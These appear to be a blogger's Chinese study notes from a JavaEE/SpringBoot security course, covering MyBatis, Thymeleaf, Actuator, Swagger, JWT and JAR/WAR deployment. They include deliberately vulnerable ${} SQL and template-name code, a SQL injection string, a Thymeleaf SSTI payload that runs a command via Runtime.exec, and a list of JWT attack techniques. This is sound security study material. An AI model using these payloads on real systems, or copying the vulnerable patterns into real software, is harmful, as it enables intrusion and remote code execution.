public List<User> findAll();

// 根据特定id选择用户的SQL查询(固定查询id=1的数据,无参数,无注入风险)

@Select("select * from admin where id=1")

public List<User> findID();

}

6、创建Controller实现Web访问调用

java 复制代码
package cn.xiaodisec.springbootmybatils.controller;

import cn.xiaodisec.springbootmybatils.entity.User;

import cn.xiaodisec.springbootmybatils.mapper.UserMapper;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController // REST风格控制器,返回JSON数据

public class GetadminController {

@Autowired // 自动注入UserMapper实例(由Spring容器管理)

private UserMapper UserMapper;

// 访问路由:/getadmin,查询所有用户

@GetMapping("/getadmin")

public List<User> getadmindata(){

List<User> all = UserMapper.findAll(); // 调用Mapper方法查询数据

return all; // 返回查询结果(自动转为JSON)

}

// 访问路由:/getid,查询id=1的用户

@GetMapping("/getid")

public List<User> getadminid(){

List<User> all = UserMapper.findID();

return all;

}

}

数据库返回的是一行行的表格数据(结果集)List<User>装 Java 对象的集合 ,MyBatis 自动把每一行表格数据 → 封装成一个 User 对象 → 全部塞进 List 集合 ,所以你的代码可以直接用 List<User> 接收结果。


分步拆解底层流程(结合你的代码)

你的代码:

复制代码
@Select("select * from admin")
List<User> findAll();

List<User>为啥可以接受数据库查询结果

第一步:数据库执行 SQL,返回「原始结果集」

执行 select * from admin 后,MySQL 给 Java 返回的是一个 JDBC 结果集(ResultSet),长这样:

id username password
1 zhangsan 123456
2 lisi 654321

这是数据库原生数据,Java 根本看不懂表格,必须转换成 Java 对象。


第二步:MyBatis 自动做「行 → 对象」映射(最关键)

MyBatis 会逐行扫描结果集 ,按照这 3 条规则,把一行数据变成一个 User 对象

  1. 字段名完全匹配 数据库列名 id → User 类字段 id数据库列名 username → User 类字段 username

  2. 调用 Setter 方法赋值 框架自动调用:

    复制代码
    user.setId(1);
    user.setUsername("zhangsan");
    user.setPassword("123456");
  3. 无参构造创建对象 你的 User 类没有写构造方法,Java 会自动生成默认无参构造:

    复制代码
    User user = new User(); // MyBatis底层自动执行

✅ 结果:1 行数据 = 1 个 User 对象


第三步:MyBatis 自动把对象装进「List 集合」

数据库查询出 N 行数据 → 生成 N 个 User 对象 MyBatis 会自动创建一个 List<User> 集合,把所有 User 对象放进去:

复制代码
List<User> list = new ArrayList<>();
list.add(user1);
list.add(user2);
...

第四步:返回集合给你的代码

最后 MyBatis 把这个装满 User 对象的 List 直接返回,所以你的代码可以直接写:

复制代码
List<User> all = UserMapper.findAll();

必须满足的 3 个前提(缺一不可)

为什么你的 User 类可以被自动封装?必须满足这 3 点:

  1. 实体类字段名 = 数据库表列名(大小写不敏感)
  2. 实体类有无参构造方法(默认自带,不用写)
  3. 实体类有 Setter 方法(MyBatis 只能用 Setter 赋值)

org.apache.ibatisMyBatis 框架的官方包名

安全危险:mybatis sql语句注入风险(java的sql注入很少,黑盒很看运气)

MyBatis中SQL注入的核心原因是使用**${}语法拼接参数(直接替换参数值,不做预编译),而#{}语法**会将参数视为字符串,自动添加引号并预编译,可避免注入。

先修改相关文件模仿情景

UserMapper:

java 复制代码
@Mapper

public interface UserMapper {

// 使用${id}拼接参数(危险!无预编译,直接替换)

@Select("select * from admin where id like '%${id}%'")

public List<User> findAll(Integer id);

GetadminController:

java 复制代码
// 接收用户传入的id参数并传入Mapper

@GetMapping("/getadmin")

public List<User> getadmindata(@RequestParam Integer id){

List<User> all = UserMapper.findAll(id);

return all;

}

此时,若用户传入id参数为1' or '1'='1,拼接后的SQL为select * from admin where id like '%1' or '1'='1%',会查询所有数据,导致注入。

这里注意要把前面的Integer 改成String。没看懂xd的为啥#没编码也可以成功

但是小迪的又改成Integer了

黑盒的话

白盒直接搜${

SpringBoot-模版引擎-Thymeleaf

-不安全的模版版本

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

1、创建ThyremeafDemo项目

2、使用模板渲染,必须在resources目录下创建templates存放html文件

index.html

java 复制代码
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org"> <!-- 引入Thymeleaf命名空间,支持th:*属性 -->

<head>

<meta charset="UTF-8">

<title>Title</title>

</head>

<body >

<!-- th:text="${data}":将后端传入的data变量值渲染到span标签中(会自动转义HTML,默认防御XSS) -->

<span th:text="${data}">小迪安全</span>

</body>

</html>

test.html

java 复制代码
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>xiaodi</title>

</head>

<body>

xiaodisec

</body>

</html>

3、创建Controller实现Web访问调用

复制代码
java 复制代码
package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.ui.Model;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RestController;

//@Controller

@RestController // 问题点:@RestController包含@ResponseBody,会将返回值作为字符串直接返回,而非渲染模板

public class ThyremeafController {

@RequestMapping(value = "/index")

public String index(Model model) {

model.addAttribute("data", "hello xiaodi"); // 向模板传递data变量

//@RestController:index被当作字符串返回,不渲染模板

//@Controller:index被当作模板文件名(resources/templates/index.html)渲染

return "index";

}

@RequestMapping(value = "/test")

public String index() {

// 同上,@RestController返回"test"字符串,@Controller渲染test.html

return "test";

}

}
遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

原因:@RestController包含了 @ResponseBody@Controller 的功能。@ResponseBody 会使方法返回值直接作为响应体(字符串),而非模板文件名,因此不会触发模板渲染。

解决方式:更换为@Controller(无@ResponseBody),此时返回值会被视为模板文件名,从resources/templates目录下查找并渲染。

好像xd对springboot开发也不是特别熟悉。

一、导入的类详解

复制代码
import org.springframework.ui.Model;           // 数据载体:向模板传递数据
import org.springframework.web.bind.annotation.RequestMapping;  // 映射URL路径
import org.springframework.web.bind.annotation.RestController; // 问题根源所在
类/注解 所属模块 核心作用
Model spring-web 数据容器 ,类似Map结构,用于在Controller和View之间传递数据
@RequestMapping spring-web 路由映射,将HTTP请求路径绑定到处理方法上
@RestController spring-web 组合注解 = @Controller + @ResponseBody,默认返回JSON/字符串而非视图

二、数据如何传给模板(核心机制)

数据流转示意图

复制代码
浏览器请求 /index
      ↓
ThyremeafController.index(Model model)  ← Spring自动注入Model对象
      ↓
model.addAttribute("data", "hello xiaodi")  ← 键值对存入Model
      ↓
return "index"  ← 返回模板文件名(不带.html后缀)
      ↓
Thymeleaf引擎查找 resources/templates/index.html
      ↓
模板解析 th:text="${data}" → 替换为 "hello xiaodi"
      ↓
渲染后的HTML返回给浏览器

关键代码拆解

复制代码
@RequestMapping(value = "/index")
public String index(Model model) {           // Spring自动创建并注入Model对象
    model.addAttribute("data", "hello xiaodi");  // 向Model中添加属性
    return "index";                          // 告诉Spring用哪个模板
}

Model的本质Model是Spring的接口,底层通常是BindingAwareModelMap,你可以把它理解为一个专门给模板用的HashMap

暂时知道数据流就行。

安全问题:

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题。

SSTI(服务器端模板注入)指攻击者通过控制模板渲染的变量或模板文件名,注入恶意模板代码,执行任意命令或读取敏感信息。

例如:更换中英文页面模板

1. 创建如下的控制器实现Web访问调用,和渲染模板文件

ThyremeafController.java

java 复制代码
@Controller // 使用@Controller确保返回值作为模板名渲染

//@RestController

public class ThyremeafController {

// 接收lang参数,作为模板文件名渲染(危险!直接使用用户输入作为模板名)

@RequestMapping(value = "/")

public String index(@RequestParam String lang) {

// 若lang为恶意模板代码,可能触发SSTI

return lang; // 例如:lang=index-en 则渲染index-en.html

}

}

index-en.html

java 复制代码
<html lang="en">

<head>

<meta charset="UTF-8">

<title>Title</title>

</head>

<body>

</body>

</html>
2. 启动项目,并输入对应路由访问,指向渲染文件的文件名?lang=index-en

http://127.0.0.1:8080/?lang=index-en

3.替换为注入

java 复制代码
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

(注:上述字符串是URL编码后的恶意模板代码,解码后为__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x,意图执行calc命令弹出计算器)

发现报错

原因:Thymeleaf版本问题。高版本Thymeleaf对模板表达式做了严格限制,禁止执行危险的Java代码,而低版本(如2.2.0.RELEASE)存在防护缺陷,可能被利用。

4.替换pom.xml整个文件,到对应的漏洞版本再次注入
复制代码

确实,但是xd并没有讲原理。

Thymeleaf SSTI漏洞分析-先知社区

这个漏洞要学的话大概还得先会用。

教程:使用 Thymeleaf - 中文文档

下面这些就是 Thymeleaf 模板自带实现好的能力 ,你直接用th:*语法就能调用:

1. 变量输出与文本渲染(文档 3、4 章)

  • 实现:把后端Model里的数据显示到页面

  • 语法:th:text="${变量}"th:utext="${变量}"(不转义 HTML)

  • 你代码里用的就是这个:

    复制代码
    <span th:text="${data}">小迪安全</span>

2. 标准表达式语法(文档 4 章,核心引擎)

实现了 5 种必用表达式:

  • ${...}:取后端变量(最常用)
  • *{...}:对象简化取值(选定对象后直接写字段)
  • #{...}:国际化多语言
  • @{...}:生成 URL(自动加项目路径、拼接参数)
  • ~{...}:引用页面片段

3. 循环遍历列表(文档 6 章)

  • 实现:遍历集合(List、Map、数组)生成多行数据
  • 语法:th:each="item : ${列表}"
  • 场景:用户列表、商品列表、订单列表

4. 条件判断(文档 7 章)

  • 实现:if/unless、switch/case 控制标签显隐
  • 语法:th:if="${条件}"th:switch
  • 场景:管理员显示按钮、未登录隐藏内容

5. 页面布局与片段复用(文档 8 章)

  • 实现:抽取公共头部、底部、菜单,多处引用
  • 语法:th:fragment定义片段、th:insert/th:replace引用
  • 作用:不用每个页面都写一遍导航栏

6. 属性设置(文档 5 章)

  • 实现:动态修改 HTML 标签属性
  • 语法:th:srcth:hrefth:valueth:class
  • 场景:动态图片地址、动态链接、动态样式

7. 局部变量与工具对象(文档 9、19 章)

  • 实现:内置#dates#calendars#numbers#strings等工具
  • 作用:直接格式化日期、数字、字符串,不用后端处理

8. 内联表达式(文档 12 章)

  • 实现:HTML、JS、CSS 里直接写[[${变量}]]
  • 场景:JS 里取后端用户信息、CSS 里动态设颜色

9. 文本 / JS/CSS 模板模式(文档 13 章)

  • 实现:不只渲染 HTML,还能渲染纯文本、JS、CSS 文件
  • 作用:邮件模板、动态 JS 脚本都能生成

10. 模板缓存与解耦逻辑(文档 16、17 章)

  • 实现:缓存模板提升速度;支持把逻辑写在单独 XML 里,HTML 完全无代码
  • 作用:页面更干净,加载速度更快

我来给你讲得清清楚楚、100% 精准!针对代码:

复制代码
<span th:text="${data}">小迪安全456</span>

默认文字 小迪安全456 会不会显示 → 分 2 种场景!


场景 1:直接双击打开 HTML 文件(不启动 SpringBoot)

结果:会显示! 显示内容:小迪安全456

原因:

th:text="${data}"服务端指令 ,只有运行在 SpringBoot 里才会生效。你直接打开静态 HTML,浏览器不认识 th:text ,就会显示标签里原本的默认文字

这就是 Thymeleaf 最牛的特性:自然模板→ 前端设计师不用启动项目,直接打开 HTML 就能看到原型页面!


场景 2:启动 SpringBoot,访问接口渲染页面

结果:不会显示!默认文字会被完全替换掉! 显示内容:后端 model.addAttribute("data", "XXX") 传的值

原因:

服务端解析 Thymeleaf 模板时:

  1. 执行 th:text="${data}"
  2. 用后端传入的 data覆盖 / 替换 标签内部的所有文字
  3. 原来的 小迪安全456 直接被删掉,永不显示

下次看到这在具体学吧。虽然之前软件赛出的就是这个题,

day39

发现这个mykon写的好清晰

第39天:安全开发-JavaEE应用 - my-kon-blog

SpringBoot-监控系统-Actuator

2. 安全问题

heapdump泄漏

/heapdump端点会生成JVM内存快照文件(.hprof),攻击者获取后可通过工具分析出敏感信息(如数据库密码、API密钥、配置参数等)。

  • 攻击流程

    1. 访问http://ip:port/actuator/heapdump下载内存快照;
    2. 使用工具分析快照提取敏感信息。
  • 分析工具

SpringBoot-接口系统-Swagger

Swagger是实时接口文档生成工具,方便前后端协作,但生产环境若未妥善配置,会泄露接口细节,被攻击者利用进行自动化测试和攻击。

3. 安全问题

Swagger文档会暴露接口的路径、参数、请求方式等细节,攻击者可利用这些信息进行自动化测试,探测未授权访问、信息泄露、文件上传等漏洞。

这个直接测接口就行

day40

第40天:安全开发-JavaEE应用 - my-kon-blog

知识点与演示案例:

1、JavaEE-SpringBoot-身份鉴权-JWT技术
2、JavaEE-SpringBoot-打包部署-JAR&WAR

演示案例:

➢SpringBoot-身份鉴权-JWT技术
➢SpringBoot-打包部署-JAR&WAR

浏览器与服务器基于 JWT 的认证流程:

  1. 用户登录请求

    • 浏览器发送 POST /users/login 请求到服务器,包含 usernamepassword(这是身份认证的起点,用户需提供凭证)。
  2. 服务器生成 JWT

    • 服务器验证用户名和密码(核心步骤,验证失败则拒绝登录)。
    • 若验证成功,使用密钥(Secret) 生成 JWT(JSON Web Token)(密钥是安全性的核心,必须妥善保管)。
    • JWT 包含用户信息(如用户ID、角色等)和有效期(有效期用于控制令牌的使用时长,降低被盗用风险)。
  3. 返回 JWT 给浏览器

    • 服务器将生成的 JWT 通过 HTTP 响应返回给浏览器(通常放在响应体或 Set-Cookie 头中,不同存储方式有不同的安全考量,如Cookie可配置HttpOnly、Secure属性防XSS)。
  4. 浏览器发送 JWT 后续请求

    • 浏览器在后续请求的 Authorization 请求头中添加 JWT,格式为:

      复制代码

      Authorization: Bearer <JWT>

      (这种方式是行业通用规范,便于服务器统一解析)

  5. 服务器验证 JWT

    • 服务器用相同的密钥验证 JWT 的签名,确保未被篡改(签名验证是防止令牌被伪造的关键)。
    • 从 JWT 的 Payload 中直接提取用户信息(无需查询数据库,提升效率,但依赖令牌本身的安全性)。
  6. 返回响应

    • 服务器根据用户信息处理请求,将结果返回给浏览器。

关键点总结:

  • 无状态认证:服务器无需保存会话状态,JWT 自包含用户信息(减少服务器存储压力,但令牌一旦发出无法主动撤销,需依赖有效期)。
  • 安全性
    • 密钥(Secret)用于签名,防止 JWT 被篡改(密钥泄露会导致令牌可伪造,是最高风险点)。
    • 全程需使用 HTTPS 防止 JWT 被窃取(HTTP 传输易被中间人拦截令牌)。
  • 效率
    • 验证 JWT 签名后可直接读取用户信息,减少数据库查询(提升接口响应速度,但需平衡令牌大小与传输效率)。

⚠️ 注意 :JWT 的 Payload 仅经过 Base64 编码(非加密),切勿存放敏感信息(如密码)(Base64 可直接解码,敏感信息会暴露)。

SpringBoot-身份鉴权-JWT技术

JWT(JSON Web Token)是由服务端用加密算法对信息签名 来保证其完整性和不可伪造

Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;

JWT用于身份认证、会话维持等。由三部分组成:header、payload与signature

JWT的组成

HeaderPayloadSignature 是 JSON Web Token(JWT)的三个主要组成部分。

  1. Header(头部)

    JWT 的头部通常包含两部分信息:声明类型(typ)和使用的签名算法(alg)。这些信息以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第一个部分。头部用于描述关于该 JWT 的元数据信息。

    java 复制代码
    {
    
    "alg": "HS256", // 签名算法(如HMAC SHA-256)
    
    "typ": "JWT" // 令牌类型
    
    }

    (算法选择影响安全性,HS256是对称加密,需双方共享密钥;RS256是非对称加密,用私钥签名、公钥验证,更适合分布式系统)

  2. Payload(负载)

    JWT 的负载包含有关 JWT 主题(subject)及其它声明的信息。与头部一样,负载也是以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第二个部分。

    java 复制代码
    {
    
    "sub": "1234567890", // 主题(通常是用户ID)
    
    "name": "John Doe", // 自定义声明(用户名)
    
    "iat": 1516239022 // 签发时间(Unix时间戳)
    
    }

    (标准声明包括iss(签发者)、exp(过期时间)、sub(主题)等,自定义声明需避免敏感信息)

  3. Signature(签名)

    JWT 的签名是由头部、负载以及一个密钥生成的,用于验证 JWT 的真实性和完整性。签名是由指定的签名算法对经过 Base64 编码的头部和负载组合而成的字符串进行签名生成的。

    例如,使用 HMAC SHA-256 算法生成签名:

    java 复制代码
    HMACSHA256(
    
    base64UrlEncode(header) + "." + // 编码后的头部
    
    base64UrlEncode(payload), // 编码后的负载
    
    secret // 服务器密钥
    
    )

    (签名是JWT的安全核心,若签名验证失败,令牌会被视为无效)

最终,JWT 是由这三个部分组成的字符串,形如 header.payload.signature。JWT 通常用于在网络上安全地传输信息,例如在身份验证过程中传递令牌。

2、创建JWT并配置JWT

对应目录下创建JwtController.java

java 复制代码
package cn.xiaodi.testjwt.demos.web;

import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JwtController {

    // 模拟用户的JWT身份创建,数据的JWT加密
    @PostMapping("/jwtcreate")  // 处理POST请求,路径为/jwtcreate
    @ResponseBody  // 直接返回字符串,而非视图
    public static String create(Integer id, String user, String pass) {
        // 创建JWT令牌
        String jwttoken = JWT.create()
                // 设置创建的Header部分(可省略,默认使用算法配置)
                //.withHeader()

                // 设置创建的Payload部分(自定义声明,存储用户信息)
                .withClaim("userid", id)       // 用户ID
                .withClaim("username", user)   // 用户名
                .withClaim("password", pass)   // 注意:实际开发中禁止存储密码!此处仅为演示

                // 设置时效(JWT过期时间,如:.withExpiresAt(new Date(System.currentTimeMillis() + 3600000)) 表示1小时后过期)
                //.withExpiresAt()

                // 创建设置的Signature部分,指定算法(HMAC256)和密钥(xiaodisec)
                .sign(Algorithm.HMAC256("xiaodisec"));  // 密钥硬编码存在安全风险,实际需用配置文件存储

        // 打印创建好的jwt
        System.out.println(jwttoken);
        return jwttoken;
    }

}

✅ 1. 官方 Javadoc(最直接证据)

👉 Spring 官方文档:RequestParamMethodArgumentResolver

关键原文(我帮你摘出来):

"simple types ... not annotated with @RequestParam are also treated as request parameters"

翻译一下就是:

👉 简单类型(int、String 等)即使没有 @RequestParam,也会被当作请求参数处理

安全问题与网安风险

JWT渗透姿势一篇通-先知社区

  • 签名未校验绕过
  • alg:none 无签名绕过
  • 对称密钥暴力猜解
  • JWK 头部注入绕过
  • JKU 头部注入绕过
  • KID 头部目录遍历绕过
  • 算法(密钥)混淆攻击
  • 载荷敏感信息泄露利用
  • 密钥硬编码漏洞利用

SpringBoot-打包部署-JAR&WAR

是的!99% 的 SpringBoot 项目,生产环境都是用 JAR 包部署,这是 SpringBoot 官方默认、行业绝对主流的部署方式。

JAR类型项目

jar类型项目使用SpringBoot打包 插件打包时,会在打成的jar中内置tomcat的jar

所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。

  • Jar打包步骤

    报错解决:https://blog.csdn.net/wobenqingfeng/article/details/129914639
    https://blog.csdn.net/Mrzhuangr/article/details/124731024

    <skip>true</skip>修改为<skip>false</skip> 即可(skip设为false表示启用打包插件)

    • <configuration>: Maven 插件配置的根元素,包含具体配置内容。

    • <mainClass>: 指定 Java 应用程序的主类(入口点),此处为com.example.testjwt.TestJwtApplication。

    • <skip>: 控制插件是否跳过执行,true为跳过,false为执行(打包时需设为false)。

    1. 执行maven-clean-package命令(清理并打包,生成jar文件)。
    2. 运行命令java -jar xxxxxx.jar(通过JDK直接启动内置Tomcat,无需额外部署容器)。
  • 直接点这里的clean和package,就是双击。

啥都不改也没报错,可能新版本有优化了。

你的 Spring Boot 项目是 Maven 结构,执行 package 后,生成的 JAR 包默认在 项目根目录的 target 文件夹 里:

war包算了。

现代项目(SpringBoot) :一律用 JAR 包 ,不需要装 Tomcat❌ WAR 包 + 外置 Tomcat :只用于老项目、传统公司、兼容旧系统

打包部署的网安补充:

  • JAR/WAR文件安全:打包时需排除敏感文件(如配置文件中的密钥、数据库密码),避免随包泄露;可通过Maven插件过滤敏感文件。
  • 内置Tomcat漏洞:JAR包内置的Tomcat若版本过低,可能存在已知漏洞(如远程代码执行),需定期升级SpringBoot版本以更新内置组件。
  • 部署权限控制:服务器上的JAR/WAR文件及运行目录应限制权限(如仅管理员可读写),避免被恶意篡改;运行用户应使用低权限账号(非root),降低被攻击后的影响范围。

JAVAEE源码架构安全

无源码下载泄漏风险
  • 无下载路径,运行的程序是一个压缩包,不能通过访问下载路径去下载源码(相比PHP等脚本语言,Java编译后的class文件不易直接获取源码,但仍需防范压缩包泄露)
源码泄漏也需反编译
  • 如果得到打包好的源码,将打包的源码进行解压(攻击者若获取JAR/WAR包,可通过反编译工具还原源码)

直接使用idea打开文件夹,即可实现自动反编译,看到源码(反编译后的代码可能存在变量名混淆,但核心逻辑可被还原,需通过代码混淆工具增强保护)

意思就是没法扫www.zip 、git这些了,就是只有路由才能被访问

一、先说结论(你可以先记这个)

👉 能不能扫 www.zip / .git,取决于"部署方式 + 服务器配置",不是 SpringMVC 本身


二、两种常见部署方式(核心区别)

✅ 1. 外置 Tomcat(你记得的那种情况)

比如用:

Apache Tomcat

目录结构:

webapps/

ROOT/

index.jsp

www.zip

.git/

👉 这时候:

  • /www.zip ✅ 可以直接访问

  • /.git/config ❗ 很可能能扫到(取决于配置)

✔ 原因

Tomcat 默认是:

把 webapps 目录当作"静态资源目录"直接映射


❌ 2. Spring Boot(你现在说的 jar 启动)

java -jar app.jar

内部结构:

app.jar

└── BOOT-INF/

├── classes/

│ └── static/

└── lib/

👉 这时候:

  • /www.zip 不存在(除非你放进 static)

  • .git 不会暴露

  • ✅ 只能访问:

    • Controller 路由

    • /static /public /resources 这些目录


三、Spring Boot 的访问规则(重点)

默认只暴露:

classpath:/static/

classpath:/public/

classpath:/resources/

META-INF/resources/

比如:

static/www.zip

👉 才能访问:

http://xxx/www.zip


四、你说的那句话,正确版本应该是:

❌ "jar 部署就只能访问路由"

"jar 部署默认只能访问:Controller + 指定静态目录"

✔ 只能访问这 4 个目录里的文件

不能访问目录本身,比如:

  • /static → 404
  • /public → 404
  • /resources → 404

外部扫不到 www.zip、.git、备份文件

因为这些不在 4 个目录里!

静态目录里只放前端能直接用的文件

我给你说最真实、最标准、企业里怎么放你就怎么用👇

静态目录(static /public)一般放这些

  1. HTML 页面(index.html、login.html)
  2. 图片(jpg、png、gif、svg)
  3. CSS 样式文件
  4. JS 脚本文件
  5. 字体文件(woff、ttf)
  6. favicon.ico 网站图标

难点总结

  1. JWT密钥管理

    • 难点:密钥需保证高强度且不泄露,同时在分布式系统中安全同步(如多服务器共享密钥)。
    • 解决:使用环境变量或加密配置中心存储密钥,避免硬编码;非对称加密(如RS256)可避免密钥共享问题。
  2. JWT过期与刷新机制

    • 难点:平衡安全性(短有效期)与用户体验(减少登录频率)。
    • 解决:实现"访问令牌+刷新令牌"机制,访问令牌短期有效(如1小时),刷新令牌长期有效(如7天),过期后用刷新令牌获取新访问令牌。
  3. JWT签名验证的严格性

    • 难点:开发中易因疏忽跳过签名验证或使用不安全的算法(如none)。
    • 解决:封装JWT工具类,强制验证签名和过期时间,固定签名算法,禁止动态协商。
  4. JAR与WAR部署的选择与配置

    • 难点:内置Tomcat与外部Tomcat的配置差异(如端口、上下文路径),以及依赖冲突问题。
    • 解决:JAR适合快速部署和微服务场景,需注意内置组件版本;WAR适合传统容器部署,需正确排除内置Tomcat并匹配外部容器版本。
  5. 源码保护

    • 难点:JAR/WAR包易被反编译,导致核心逻辑或敏感信息泄露。
    • 解决:使用代码混淆工具(如ProGuard),移除调试信息,敏感配置不随包存储,通过环境变量注入。
相关推荐
东北甜妹2 小时前
Python脚本
java·开发语言·前端
心勤则明2 小时前
Spring AI Alibaba 实战 MCP 协议
java·人工智能·spring
四千岁2 小时前
WSL + OpenCode 最佳实践:环境一致、模型配置、GUI 远程使用
前端·javascript·后端
你挚爱的强哥2 小时前
【sgCreateQrcode】自定义组件:模仿草料二维码做了一个简单的二维码制作组件
javascript·vue.js·elementui
若风的雨2 小时前
【deepseek】ARM TrustZone 架构安全机制
arm开发·安全·架构
NGC_66112 小时前
ConcurrentHashMap1.8 多线程扩容机制
java·开发语言
前端小趴菜~时倾2 小时前
自我提升-python爬虫学习:day05-函数与面向对象编程
爬虫·python·学习
xingxin322 小时前
应急响应处置报告
web安全·网络安全
东离与糖宝2 小时前
不用Python!Java+Spring AI 3.x本地RAG系统搭建实战
java·人工智能